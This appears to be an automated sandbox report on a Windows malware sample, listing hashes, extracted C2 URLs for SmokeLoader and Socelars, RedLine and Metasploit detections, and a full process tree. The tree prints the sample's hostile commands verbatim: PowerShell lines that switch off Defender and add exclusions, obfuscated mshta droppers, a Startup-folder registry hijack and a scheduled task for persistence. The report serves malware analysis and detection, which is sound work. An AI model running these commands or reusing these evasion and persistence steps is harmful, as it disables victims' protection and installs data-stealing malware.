Analysis
-
max time kernel
21s -
max time network
154s -
platform
windows7_x64 -
resource
win7-en-20211104 -
submitted
19/11/2021, 13:46
Static task
static1
Behavioral task
behavioral1
Sample
a751d63055d095450ccf41ecad484077.exe
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
a751d63055d095450ccf41ecad484077.exe
Resource
win10-en-20211014
General
-
Target
a751d63055d095450ccf41ecad484077.exe
-
Size
13.6MB
-
MD5
a751d63055d095450ccf41ecad484077
-
SHA1
b003a86573fa1d62584f27081aa8de5029e495e1
-
SHA256
5b77e331ff166d24ccaf781b84705bb6afcceaaa708024d54efc2a10f515c32a
-
SHA512
207ed821f9c312270f1ed9d51f79ca0fdf7cef067d73c8ecebe14267d2dd45e7b672f84cf7e32016e6ba76c3fb6ede2701bb02fd81ec7529b48779d6722a223b
Malware Config
Extracted
socelars
http://www.gianninidesign.com/
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://membro.at/upload/
http://jeevanpunetha.com/upload/
http://misipu.cn/upload/
http://zavodooo.ru/upload/
http://targiko.ru/upload/
http://vues3d.com/upload/
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2516 1784 rundll32.exe 87 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 1 IoCs
resource yara_rule behavioral1/memory/2476-325-0x0000000000418F12-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 3 IoCs
resource yara_rule behavioral1/files/0x00050000000125cd-163.dat family_socelars behavioral1/files/0x00050000000125cd-155.dat family_socelars behavioral1/files/0x00050000000125cd-106.dat family_socelars -
resource yara_rule behavioral1/files/0x000600000001225f-71.dat aspack_v212_v242 behavioral1/files/0x000600000001225f-72.dat aspack_v212_v242 behavioral1/files/0x0006000000012257-73.dat aspack_v212_v242 behavioral1/files/0x0006000000012257-74.dat aspack_v212_v242 behavioral1/files/0x000600000001226b-77.dat aspack_v212_v242 behavioral1/files/0x000600000001226b-78.dat aspack_v212_v242 -
Executes dropped EXE 12 IoCs
pid Process 1052 setup_installer.exe 932 setup_install.exe 1724 Mon221be9cc2d.exe 1676 control.exe 1696 Mon22069c5d6c59dd9a.exe 2012 Mon2246247f54.exe 1100 Mon22be93d800d2c30d.exe 968 Mon22ef09abdc.exe 1740 Mon221be9cc2d.tmp 1824 svchost.exe 460 Mon223a1e1e377e2524.exe 1688 Mon2234cdb458c91b79.exe -
Loads dropped DLL 34 IoCs
pid Process 684 a751d63055d095450ccf41ecad484077.exe 1052 setup_installer.exe 1052 setup_installer.exe 1052 setup_installer.exe 1052 setup_installer.exe 1052 setup_installer.exe 1052 setup_installer.exe 932 setup_install.exe 932 setup_install.exe 932 setup_install.exe 932 setup_install.exe 932 setup_install.exe 932 setup_install.exe 932 setup_install.exe 932 setup_install.exe 1976 cmd.exe 1652 cmd.exe 1652 cmd.exe 920 cmd.exe 920 cmd.exe 1724 Mon221be9cc2d.exe 1724 Mon221be9cc2d.exe 1272 cmd.exe 1560 cmd.exe 712 Mon22aa0adb15.exe 712 Mon22aa0adb15.exe 1724 Mon221be9cc2d.exe 1676 control.exe 964 cmd.exe 1676 control.exe 1488 cmd.exe 1616 cmd.exe 968 Mon22ef09abdc.exe 968 Mon22ef09abdc.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 11 ip-api.com -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 2336 916 WerFault.exe 58 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2660 schtasks.exe -
Kills process with taskkill 2 IoCs
pid Process 2912 taskkill.exe 2108 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 684 wrote to memory of 1052 684 a751d63055d095450ccf41ecad484077.exe 28 PID 684 wrote to memory of 1052 684 a751d63055d095450ccf41ecad484077.exe 28 PID 684 wrote to memory of 1052 684 a751d63055d095450ccf41ecad484077.exe 28 PID 684 wrote to memory of 1052 684 a751d63055d095450ccf41ecad484077.exe 28 PID 684 wrote to memory of 1052 684 a751d63055d095450ccf41ecad484077.exe 28 PID 684 wrote to memory of 1052 684 a751d63055d095450ccf41ecad484077.exe 28 PID 684 wrote to memory of 1052 684 a751d63055d095450ccf41ecad484077.exe 28 PID 1052 wrote to memory of 932 1052 setup_installer.exe 29 PID 1052 wrote to memory of 932 1052 setup_installer.exe 29 PID 1052 wrote to memory of 932 1052 setup_installer.exe 29 PID 1052 wrote to memory of 932 1052 setup_installer.exe 29 PID 1052 wrote to memory of 932 1052 setup_installer.exe 29 PID 1052 wrote to memory of 932 1052 setup_installer.exe 29 PID 1052 wrote to memory of 932 1052 setup_installer.exe 29 PID 932 wrote to memory of 1012 932 setup_install.exe 31 PID 932 wrote to memory of 1012 932 setup_install.exe 31 PID 932 wrote to memory of 1012 932 setup_install.exe 31 PID 932 wrote to memory of 1012 932 setup_install.exe 31 PID 932 wrote to memory of 1012 932 setup_install.exe 31 PID 932 wrote to memory of 1012 932 setup_install.exe 31 PID 932 wrote to memory of 1012 932 setup_install.exe 31 PID 932 wrote to memory of 1628 932 setup_install.exe 32 PID 932 wrote to memory of 1628 932 setup_install.exe 32 PID 932 wrote to memory of 1628 932 setup_install.exe 32 PID 932 wrote to memory of 1628 932 setup_install.exe 32 PID 932 wrote to memory of 1628 932 setup_install.exe 32 PID 932 wrote to memory of 1628 932 setup_install.exe 32 PID 932 wrote to memory of 1628 932 setup_install.exe 32 PID 1012 wrote to memory of 1420 1012 cmd.exe 34 PID 1012 wrote to memory of 1420 1012 cmd.exe 34 PID 1012 wrote to memory of 1420 1012 cmd.exe 34 PID 1012 wrote to memory of 1420 1012 cmd.exe 34 PID 1012 wrote to memory of 1420 1012 cmd.exe 34 PID 1012 wrote to memory of 1420 1012 cmd.exe 34 PID 1628 wrote to memory of 1768 1628 cmd.exe 33 PID 1628 wrote to memory of 1768 1628 cmd.exe 33 PID 1628 wrote to memory of 1768 1628 cmd.exe 33 PID 1012 wrote to memory of 1420 1012 cmd.exe 34 PID 1628 wrote to memory of 1768 1628 cmd.exe 33 PID 1628 wrote to memory of 1768 1628 cmd.exe 33 PID 1628 wrote to memory of 1768 1628 cmd.exe 33 PID 1628 wrote to memory of 1768 1628 cmd.exe 33 PID 932 wrote to memory of 1272 932 setup_install.exe 54 PID 932 wrote to memory of 1272 932 setup_install.exe 54 PID 932 wrote to memory of 1272 932 setup_install.exe 54 PID 932 wrote to memory of 1272 932 setup_install.exe 54 PID 932 wrote to memory of 1272 932 setup_install.exe 54 PID 932 wrote to memory of 1272 932 setup_install.exe 54 PID 932 wrote to memory of 1272 932 setup_install.exe 54 PID 932 wrote to memory of 1772 932 setup_install.exe 35 PID 932 wrote to memory of 1772 932 setup_install.exe 35 PID 932 wrote to memory of 1772 932 setup_install.exe 35 PID 932 wrote to memory of 1772 932 setup_install.exe 35 PID 932 wrote to memory of 1772 932 setup_install.exe 35 PID 932 wrote to memory of 1772 932 setup_install.exe 35 PID 932 wrote to memory of 1772 932 setup_install.exe 35 PID 932 wrote to memory of 1652 932 setup_install.exe 36 PID 932 wrote to memory of 1652 932 setup_install.exe 36 PID 932 wrote to memory of 1652 932 setup_install.exe 36 PID 932 wrote to memory of 1652 932 setup_install.exe 36 PID 932 wrote to memory of 1652 932 setup_install.exe 36 PID 932 wrote to memory of 1652 932 setup_install.exe 36 PID 932 wrote to memory of 1652 932 setup_install.exe 36 PID 932 wrote to memory of 1976 932 setup_install.exe 37
Processes
-
C:\Users\Admin\AppData\Local\Temp\a751d63055d095450ccf41ecad484077.exe"C:\Users\Admin\AppData\Local\Temp\a751d63055d095450ccf41ecad484077.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:684 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1052 -
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
PID:1012 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵PID:1420
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:1768
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon221ccf3dbaf.exe4⤵PID:1772
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22aa0adb15.exe4⤵
- Loads dropped DLL
PID:1652 -
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22aa0adb15.exeMon22aa0adb15.exe5⤵PID:1676
-
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22aa0adb15.exe"C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22aa0adb15.exe" -u6⤵
- Loads dropped DLL
PID:712
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon221be9cc2d.exe4⤵
- Loads dropped DLL
PID:1976 -
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon221be9cc2d.exeMon221be9cc2d.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1724 -
C:\Users\Admin\AppData\Local\Temp\is-ND7QP.tmp\Mon221be9cc2d.tmp"C:\Users\Admin\AppData\Local\Temp\is-ND7QP.tmp\Mon221be9cc2d.tmp" /SL5="$B015A,1104945,831488,C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon221be9cc2d.exe"6⤵
- Executes dropped EXE
PID:1740
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22be93d800d2c30d.exe4⤵
- Loads dropped DLL
PID:1560 -
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22be93d800d2c30d.exeMon22be93d800d2c30d.exe5⤵
- Executes dropped EXE
PID:1100 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScripT: CLosE ( CREatEObJECT ("WsCRiPt.shell"). Run ("cMd.EXE /Q/c TyPE ""C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22be93d800d2c30d.exe""> ..\aOYtCjnJMFC.exE &&StaRT ..\aoYTCjNJMFC.EXe -p06tbDqYPloXoX2~G5X_tuGmWvqV & If """"== """" for %I iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22be93d800d2c30d.exe"" ) do taskkill /iM ""%~NXI"" /f " ,0 , true ))6⤵PID:2688
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c TyPE "C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22be93d800d2c30d.exe"> ..\aOYtCjnJMFC.exE &&StaRT ..\aoYTCjNJMFC.EXe -p06tbDqYPloXoX2~G5X_tuGmWvqV & If ""== "" for %I iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22be93d800d2c30d.exe" ) do taskkill /iM "%~NXI" /f7⤵PID:2968
-
C:\Users\Admin\AppData\Local\Temp\aOYtCjnJMFC.exE..\aoYTCjNJMFC.EXe -p06tbDqYPloXoX2~G5X_tuGmWvqV8⤵PID:2092
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScripT: CLosE ( CREatEObJECT ("WsCRiPt.shell"). Run ("cMd.EXE /Q/c TyPE ""C:\Users\Admin\AppData\Local\Temp\aOYtCjnJMFC.exE""> ..\aOYtCjnJMFC.exE &&StaRT ..\aoYTCjNJMFC.EXe -p06tbDqYPloXoX2~G5X_tuGmWvqV & If ""-p06tbDqYPloXoX2~G5X_tuGmWvqV ""== """" for %I iN ( ""C:\Users\Admin\AppData\Local\Temp\aOYtCjnJMFC.exE"" ) do taskkill /iM ""%~NXI"" /f " ,0 , true ))9⤵PID:1756
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c TyPE "C:\Users\Admin\AppData\Local\Temp\aOYtCjnJMFC.exE"> ..\aOYtCjnJMFC.exE &&StaRT ..\aoYTCjNJMFC.EXe -p06tbDqYPloXoX2~G5X_tuGmWvqV & If "-p06tbDqYPloXoX2~G5X_tuGmWvqV "== "" for %I iN ( "C:\Users\Admin\AppData\Local\Temp\aOYtCjnJMFC.exE" ) do taskkill /iM "%~NXI" /f10⤵PID:2188
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRiPt: CloSe (CreATeobjeCt ( "wscrIpt.shell" ).RUn ( "CMD.Exe /C ECho | SEt /p = ""MZ"" > W1~ZjJt6.k2 & cOPY /y /B W1~ZJJT6.K2+ QJBUifn.V4 + kamK.0G+ Zqv6P.39I + EnMDZ.SQ+ CmeNW.Ti2+NQXW.Q ..\LOErQ9MI.F& DEl /Q *& STaRt control.exe ..\LOERq9MI.F " ,0, tRUe ))9⤵PID:2784
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ECho | SEt /p = "MZ" > W1~ZjJt6.k2 & cOPY /y /B W1~ZJJT6.K2+ QJBUifn.V4 + kamK.0G+ Zqv6P.39I+ EnMDZ.SQ+ CmeNW.Ti2+NQXW.Q ..\LOErQ9MI.F& DEl /Q *& STaRt control.exe ..\LOERq9MI.F10⤵PID:2876
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECho "11⤵PID:3008
-
-
C:\Windows\SysWOW64\control.execontrol.exe ..\LOERq9MI.F11⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1676 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\LOERq9MI.F12⤵PID:708
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\LOERq9MI.F13⤵PID:2844
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\LOERq9MI.F14⤵PID:2504
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>W1~ZjJt6.k2"11⤵PID:3032
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "Mon22be93d800d2c30d.exe" /f8⤵
- Kills process with taskkill
PID:2108
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22069c5d6c59dd9a.exe4⤵
- Loads dropped DLL
PID:920 -
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22069c5d6c59dd9a.exeMon22069c5d6c59dd9a.exe5⤵
- Executes dropped EXE
PID:1696
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2239127d69.exe4⤵
- Loads dropped DLL
PID:964 -
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon2239127d69.exeMon2239127d69.exe5⤵PID:1824
-
C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe"C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe"6⤵PID:2432
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2303a34fa8\7⤵PID:2588
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2303a34fa8\8⤵PID:2780
-
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe" /F7⤵
- Creates scheduled task(s)
PID:2660
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2234cdb458c91b79.exe4⤵
- Loads dropped DLL
PID:1616 -
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon2234cdb458c91b79.exeMon2234cdb458c91b79.exe5⤵
- Executes dropped EXE
PID:1688 -
C:\Users\Admin\AppData\Local\Temp\is-TIEQ8.tmp\Mon2234cdb458c91b79.tmp"C:\Users\Admin\AppData\Local\Temp\is-TIEQ8.tmp\Mon2234cdb458c91b79.tmp" /SL5="$1017A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon2234cdb458c91b79.exe"6⤵PID:1564
-
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon2234cdb458c91b79.exe"C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon2234cdb458c91b79.exe" /SILENT7⤵PID:2604
-
C:\Users\Admin\AppData\Local\Temp\is-6KM8F.tmp\Mon2234cdb458c91b79.tmp"C:\Users\Admin\AppData\Local\Temp\is-6KM8F.tmp\Mon2234cdb458c91b79.tmp" /SL5="$10224,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon2234cdb458c91b79.exe" /SILENT8⤵PID:2900
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon223a1e1e377e2524.exe4⤵
- Loads dropped DLL
PID:1488 -
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon223a1e1e377e2524.exeMon223a1e1e377e2524.exe5⤵
- Executes dropped EXE
PID:460
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22621a9647becc9.exe4⤵PID:1480
-
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22621a9647becc9.exeMon22621a9647becc9.exe5⤵PID:1200
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22c846f022dc5a0.exe4⤵PID:1556
-
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22c846f022dc5a0.exeMon22c846f022dc5a0.exe5⤵PID:1736
-
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22c846f022dc5a0.exe"C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22c846f022dc5a0.exe"6⤵PID:2300
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon221a6b2a309.exe4⤵PID:832
-
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon221a6b2a309.exeMon221a6b2a309.exe5⤵PID:1884
-
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon221a6b2a309.exeC:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon221a6b2a309.exe6⤵PID:2476
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon229ea02f6ba.exe4⤵PID:240
-
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon229ea02f6ba.exeMon229ea02f6ba.exe5⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22ef09abdc.exe /mixtwo4⤵PID:712
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2246247f54.exe4⤵
- Loads dropped DLL
PID:1272
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon2246247f54.exeMon2246247f54.exe1⤵
- Executes dropped EXE
PID:2012 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵PID:2868
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
PID:2912
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22ef09abdc.exeMon22ef09abdc.exe /mixtwo1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:968 -
C:\Users\Admin\AppData\Local\Temp\7zSC14965F5\Mon22ef09abdc.exeMon22ef09abdc.exe /mixtwo2⤵PID:916
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 4603⤵
- Program crash
PID:2336
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2516 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2524
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
- Executes dropped EXE
PID:1824
-
C:\Windows\system32\taskeng.exetaskeng.exe {7A229FA4-F508-4A96-99EC-37F5AC14A630} S-1-5-21-103686315-404690609-2047157615-1000:EDWYFHKN\Admin:Interactive:[1]1⤵PID:2068
-
C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exeC:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe2⤵PID:2736
-
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20211119134413.log C:\Windows\Logs\CBS\CbsPersist_20211119134413.cab1⤵PID:1552